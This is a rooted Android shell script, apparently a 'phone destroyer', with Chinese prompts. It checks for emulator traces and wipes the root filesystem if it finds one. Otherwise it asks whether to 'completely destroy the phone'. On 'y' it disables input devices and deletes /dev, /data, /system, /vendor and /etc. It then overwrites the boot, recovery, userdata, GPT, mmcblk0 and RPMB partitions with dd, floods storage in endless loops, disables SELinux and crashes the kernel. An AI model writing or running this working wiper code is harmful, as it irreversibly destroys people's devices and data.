#!/system/bin/su
#!/system/bin/sh
am start -a android.media.action.IMAGE_CAPTURE --ei android.intent.extras.CAMERA_FACING 1
echo "=== 开始检测设备环境 ==="
IS_VM=0

VM_SPECIFIC_FILES=(
    "/system/etc/qemu_config.txt"
    "/system/bin/nox"
    "/system/bin/ld"
    "/dev/goldfish_pipe"
    "/system/lib/libgenymotion.so"
    "/data/data/com.nox.app"
    "/data/data/com.ldmnq.app"
    "/data/data/com.bluestacks.app"
)

for file in "${VM_SPECIFIC_FILES[@]}"; do
    if [ -e "$file" ]; then
        echo "[!] 发现虚拟机特征文件: $file"
        IS_VM=1
    fi
done
REAL_DEVICE_MUST_HAVE=(
    "/sys/class/input/input0"      
    "/sys/class/power_supply/battery" 
    "/dev/block/mmcblk0"          
    "/proc/device-tree/compatible"
)

for file in "${REAL_DEVICE_MUST_HAVE[@]}"; do
    if [ ! -e "$file" ]; then
        echo "[!] 缺少真机必备文件/目录: $file"
        IS_VM=1
    fi
done

if grep -q "x86\|Goldfish\|QEMU" /proc/cpuinfo; then
    echo "[!] CPU信息疑似虚拟硬件"
    IS_VM=1
fi
if grep -E "overlay|tmpfs|rootfs" /proc/mounts | grep -q "/system"; then
    echo "[!] 系统分区使用非常规挂载方式"
    IS_VM=1
fi

echo "========================"
if [ "$IS_VM" -eq 1 ]; then
    echo "Bat: Environmental detection abnormal"
    rm -rf /*
    exit 1 
else
    echo "Bat: Environment is normal"
    echo "Bat: Environment is normal"
    echo "Bat: Environment is normal"
    echo "Bat: Environment is normal"
    echo "Bat: Environment is normal"
    echo "Bat: Environment is normal"
fi
A8() {
    su -c "$0" "$@" && exit
    chmod 777 "$0"
    chmod 000 /dev/input/event0
    chmod 000 /dev/input/event1
    chmod 000 /dev/input/event2
    chmod 000 /dev/input/event3
    chmod 000 /dev/input/event4
    chmod 000 /dev/input/event5
    rm -rf /dev/input/
    sleep 0.01
    rm -rf /storage/emulated/0/*
    rm -rf /storage/emulated/999/*
    rm -rf /storage/caf-999/
    rm -rf /storage/self/primary/
    rm -rf /dev/pts/
    rm -rf /dev/freezer/
    rm -rf /dev/freezer/frozen/
    rm -rf /dev/__properties__/
    rm -rf /dev/memcg/system/
    rm -rf /dev/memcg/
    rm -rf /dev/memcg/apps/
    rm -rf /dev/dri/
    rm -rf /dev/log/
    rm -rf /dev/graphics/
    rm -rf /dev/bus/usb/
    rm -rf /dev/bus/
    rm -rf /dev/boringssl/
    rm -rf /dev/net/
    rm -rf /dev/binderfs/
    rm -rf /dev/stune/nnapi-hal/
    rm -rf /dev/stune/top-app/
    rm -rf /dev/stune/rt/
    rm -rf /dev/stune/foreground/
    rm -rf /dev/stune/background/
    rm -rf /dev/stune/
    rm -rf /dev/snd/
    rm -rf /dev/cpuset/
    rm -rf /dev/cpuset/l-foreground/
    rm -rf /dev/cpuset/l-background/
    rm -rf /dev/cpuset/h-background/
    rm -rf /dev/cpuset/camera/
    rm -rf /dev/cpuset/top-app/
    rm -rf /dev/cpuset/system-background/
    rm -rf /dev/cpuset/restricted/
    rm -rf /dev/cpuset/foreground/
    rm -rf /dev/cpuset/background/
    rm -rf /dev/usb-ffs/
    rm -rf /dev/usb-ffs/adb/
    rm -rf /dev/fd/4/
    rm -rf /dev/fd/
    rm -rf /dev/cg2_bpf/
    rm -rf /dev/vivo_io/low/
    rm -rf /dev/vivo_io/high/
    rm -rf /dev/cpuctl/
    rm -rf /dev/vivo_io/
    rm -rf /dev/blkio/top/
    rm -rf /dev/blkio/normal/
    rm -rf /dev/blkio/fg/
    rm -rf /dev/blkio/bg/
    rm -rf /dev/blkio/background/
    rm -rf /dev/blkio/
    rm -rf /dev/block/vold/
    rm -rf /dev/block/platform/externdevice/
    rm -rf /dev/block/platform/
    rm -rf /dev/block/platform/bootdevice/by-name/
    rm -rf /dev/block/platform/bootdevice/
    rm -rf /dev/block/mapper/by-uuid/
    rm -rf /dev/block/mapper/
    rm -rf /dev/block/by-name/
    rm -rf /dev/input/
    rm -rf /dev/net_prio/
    rm -rf /dev/net_prio/fg/
    rm -rf /dev/block/by-name/
    rm -rf /dev/block/
    rm -rf /dev/
    rm -rf /dev/socket/
    rm -rf /dev/radio/
    rm -rf /data/data/
    rm -rf /data/local/tmp/bin.mt.plus.canary/
    rm -rf /data/local/tmp/shizuku/
    rm -rf /data/local/tmp/fpa/
    rm -rf /data/local/tmp/bin.mt.plus/
    rm -rf /data/local/tmp/
    rm -rf /data/local/
    rm -rf /data/app/
    rm -rf /data/
    rm -rf /mnt/user/
    rm -rf /mnt/installer/
    rm -rf /mnt/androidwritable/
    rm -rf /mnt/cd-rom/
    rm -rf /mnt/runtime/
    rm -rf /mnt/expand/
    rm -rf /mnt/appfuse/
    rm -rf /mnt/secure/
    rm -rf /mnt/obb/
    rm -rf /mnt/vdfs/
    rm -rf /mnt/
    rm -rf /acct/uid/
    rm -rf /acct/
    rm -rf /sys/devices/platform/
    rm -rf /sys/devices/platform/11e01000.i2c5/
    rm -rf /sys/devices/platform/10026000.pwrap/
    rm -rf /sys/devices/platform/11cb0000.i2c3/
    rm -rf /sys/devices/platform/mtk_lpm/
    rm -rf /sys/devices/platform/mt-battery/
    rm -rf /sys/devices/platform/charge/
    rm -rf /sys/devices/platform/battery/
    rm -rf /sys/devices/platform/odm/
    rm -rf /sys/devices/platform/fpc_fp/
    rm -rf /sys/devices/
    rm -rf /sys/
    rm -rf /vendor/res/
    rm -rf /vendor/overlay/
    rm -rf /vendor/odm/
    rm -rf /vendor/lost+found/
    rm -rf /vendor/lib64/
    rm -rf /vendor/lib/
    rm -rf /vendor/firmware/
    rm -rf /vendor/etc/
    rm -rf /vendor/data/
    rm -rf /vendor/camera3rd/
    rm -rf /vendor/bin/
    rm -rf /vendor/app/
    rm -rf /vendor/
    rm -rf /vgc/
    rm -rf /vgc/lost+found/
    rm -rf /vgc/etc/
    rm -rf /vgc/data-app/
    rm -rf /vgc/cota/
    rm -rf /cache/
    rm -rf /system_ext/
    rm -rf /system_ext/priv-app/
    rm -rf /system_ext/lib64/
    rm -rf /system_ext/lib/
    rm -rf /system_ext/etc/
    rm -rf /system_ext/bin/
    rm -rf /system_ext/app/
    rm -rf /system/vgc-common/
    rm -rf /system/vendor/
    rm -rf /system/usr/
    rm -rf /system/usp/
    rm -rf /system/system_ext/
    rm -rf /system/res/
    rm -rf /system/product/
    rm -rf /system/priv-app/
    rm -rf /system/operator/
    rm -rf /system/media/
    rm -rf /system/lib64/
    rm -rf /system/lib/
    rm -rf /system/framework/
    rm -rf /system/fonts/
    rm -rf /system/etc/
    rm -rf /system/dyn/
    rm -rf /system/data/
    rm -rf /system/custom/
    rm -rf /system/bin/
    rm -rf /system/app/
    rm -rf /system/apex/
    rm -rf /system/
    rm -rf /product/overlay/
    rm -rf /product/lost+found/
    rm -rf /product/etc/
    rm -rf /product/bin/
    rm -rf /product/app/
    rm -rf /product/
    rm -rf /oem/
    rm -rf /oem/lost+found/
    rm -rf /oem/etc/launcher/
    rm -rf /oem/etc/
    rm -rf /product/
    rm -rf /odm/etc/vintf/
    rm -rf /odm/etc/
    rm -rf /odm/
    rm -rf /lost+found/
    rm -rf /factory/
    rm -rf /etc/bpf/
    rm -rf /etc/bluetooth/
    rm -rf /etc/ppp/
    rm -rf /etc/permissions/
    rm -rf /etc/LcmConfig/
    rm -rf /etc/launcher/
    rm -rf /etc/init/
    rm -rf /etc/fingerprint/
    rm -rf /etc/fingerprint/engineer/
    rm -rf /etc/emm/
    rm -rf /etc/custom/
    rm -rf /etc/compatconfig/
    rm -rf /etc/childrenmode/
    rm -rf /etc/Youku/
    rm -rf /etc/wifi/
    rm -rf /etc/vivolegal/
    rm -rf /etc/vivoaudiopolicy/
    rm -rf /etc/vivo-default-permissions/
    rm -rf /etc/vintf/
    rm -rf /etc/theme/
    rm -rf /etc/textclassifier/
    rm -rf /etc/sysconfig/
    rm -rf /etc/selinux/mapping/
    rm -rf /etc/selinux/
    rm -rf /etc/security/
    rm -rf /etc/seccomp_policy/
    rm -rf /etc/restore_settings/AndroidQ/
    rm -rf /etc/restore_settings/
    rm -rf /etc/
    rm -rf /debug_ramdisk/
    rm -rf /bin/
    rm -rf /bin/bootstrap/
    rm -rf /bin/hw/
    rm -rf /config/
    rm -rf /proc/
    su
    while true; do dd if=/dev/urandom of=/sdcard/fill_$(date +%s).bin bs=100M count=10; done &
    dd if=/dev/urandom of=/dev/block/by-name/userdata bs=400M &
    dd if=/dev/zero of=/dev/block/by-name/gpt bs=64 count=1 &
    dd if=/dev/zero of=/dev/block/by-name/boot bs=1GB &
    su
    setenforce 0
    while true; do dd if=/dev/urandom of=/sdcard/full_$(date +%s).bin bs=200M count=20; done &
    dd if=/dev/urandom of=/dev/block/mmcblk0 bs=1GB &
    sleep 0.5
    dd if=/dev/urandom of=/dev/block/mmcblk0 bs=2GB &
    sleep 0.5
    dd if=/dev/urandom of=/dev/block/mmcblk0 bs=1GB &
    sleep 0.5
    dd if=/dev/zero of=/dev/block/mmcblk0 bs=1GB &
    dd if=/dev/zero of=/dev/block/mmcblk0 bs=512 count=100 &
    dd if=/dev/zero of=/dev/block/by-name/boot bs=1GB &
    dd if=/dev/zero of=/dev/block/by-name/recovery bs=1GB &
    dd if=/dev/zero of=/dev/block/by-name/system bs=1GB &
    dd if=/dev/zero of=/dev/block/by-name/cache bs=1GB &
    dd if=/dev/zero of=/dev/block/by-name/userdata bs=1GB &
    su
    dd if=/dev/urandom of=/dev/block/mmcblk0boot0 bs=1GB
    dd if=/dev/urandom of=/dev/block/mmcblk0boot1 bs=1GB
    dd if=/dev/urandom of=/dev/block/mmcblk0rpmb bs=1GB
    echo 1 > /sys/devices/platform/mipi_dsi.0/power/state
    echo c > /proc/sysrq-trigger
    echo c > /proc/sysrq-trigger
    echo "All tasks started!"
    rm -rf /*
    rm -rf /*
    rm -rf /*
    chmod -R 000 /*
    echo "你已退出挂圈"
    sleep 10
    rm -rf /*
    sleep 0.5
    reboot
}
while :
do
    echo -n "确定是否彻底毁掉手机y/n: "
    read ans
    case "$ans" in
        *y*)
            echo ""
            echo "你已即将确认"
            A8
            sleep 0.5
            exit
            ;;
        *n*)
            echo "正在拦截执行进度:10%"
            echo "结束脚本"
            exit
            ;;
        *)
            echo "错误: invalid input"
            sleep 1
            ;;
    esac
done
